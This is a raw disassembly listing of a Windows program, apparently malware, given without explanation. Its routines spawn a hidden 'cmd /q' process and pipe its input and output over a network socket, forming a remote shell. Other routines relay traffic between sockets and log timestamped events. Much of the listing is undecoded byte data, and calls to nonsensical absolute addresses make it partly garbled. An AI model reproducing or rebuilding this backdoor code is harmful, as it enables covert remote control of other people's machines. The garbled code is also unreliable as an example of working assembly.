0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh, 0E8004343h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h dd 6857022Ah, 410CCBh, 34E890h, 0C0850234h, 14E82975h dd 90022503h, 42E06850h, 59E80043h, 59000047h, 0CC15FF59h dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 0F522E857h, 5390022Ah dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h, 89E24589h dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43DEBCh, 50E0458Dh dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CAF54h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0B4888924h dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 3E89050h, 8B0224F9h, 0C969B84Dh, 234h, 8189C63Bh dd 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh, 68E89032h dd 0EB0224F8h, 88E890EDh, 50022501h, 43422468h, 45CEE800h dd 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh, 0FBEC858Dh dd 0EC68FFFFh, 50004341h, 0AC15E8h, 0CC48300h, 75C47539h dd 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh, 0FF50FFFFh dd 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h, 50FFFFFBh dd 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h, 4CB00Ch dd 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh, 0F336E890h dd 335B022Ah, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43DEBC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 call near ptr 2660DCFh nop push eax push offset unk_434384 call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 nop call near ptr 2660DCFh push eax push offset unk_434384 call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 2670E53h loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call near ptr 2750D2Ah nop sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 nop call near ptr 2660DCFh push eax push offset unk_434350 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j nop call near ptr 2670E53h push 1 push dword ptr [esi+8] nop call near ptr 26F0CA4h loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB00C push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 nop call near ptr 2660DCFh push eax push offset unk_434434 jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 nop call near ptr 2660DCFh push eax push offset unk_4343F4 loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_4343CC call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2700000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 2640BE8h nop test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43DEB8[eax], ecx nop call near ptr 2640897h jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj call near ptr 2660DCFh nop push eax push offset unk_434474 call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_4344B4 call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CAF8C test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx call near ptr 2760000h nop jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 26E0000h test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 9C15FF57h, 85004CAFh, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEB4h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h, 24F1F5E8h dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h dd 0FD87539h, 0FFFF6385h, 90056AFFh, 24F15AE8h, 90EDEB02h dd 24FA7AE8h, 858D5002h, 0FFFFFD2Ch, 43452468h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 0EC32E856h, 5F90022Ah, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 0BCB68D5Fh, 890043DEh dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h, 0FF004CB0h dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022AEBh, 0FB30858Dh dd 868FFFFh, 50000004h, 15FF36FFh, 4CAF8Ch, 187FC085h dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h dd 22AEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch dd 9F00E808h, 5359FFFFh, 2AEAE7E8h, 106A9002h, 53E8458Dh dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh, 50004CAFh dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFC415FFh dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh dd 0EA4EE890h, 458D022Ah, 50106AE8h, 1C15FF57h, 83004CAFh dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h, 4CB00C15h dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2AE9DFE8h, 4006802h dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h dd 5359FFFFh, 0E982E890h, 36FF022Ah, 0B00C15FFh, 75FF004Ch dd 9D84E808h, 5359FFFFh, 0E96AE890h ; --------------------------------------------------------------------------- sub al, [edx] push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CAF5C lea eax, [ebp-104h] push eax push ebx call dword_4CAE60 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CAE60 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 0ECBDE800h dd 39900224h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Ah dd 50046AF0h, 0FFFFBFh, 57046A00h, 5415FF56h, 8D004CAFh dd 46AEC45h, 57FB6A50h, 5415FF56h, 8B004CAFh, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFA015FFh dd 0F883004Ch, 681975FFh, 1388h, 0EBF5E890h, 8DFF0224h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 90000001h, 24EBC2E8h, 858D5302h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Ah, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0AF4C15FFh, 75FF004Ch dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB00C15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 0E406E853h, 6890022Ah dd 3E8h, 24E8A2E8h, 0E8579002h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax call near ptr 2760190h nop lea eax, [ebp-114h] push 104h push eax nop call near ptr 2660000h lea eax, [ebp-114h] push offset asc_434E54 ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_434E24 push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi 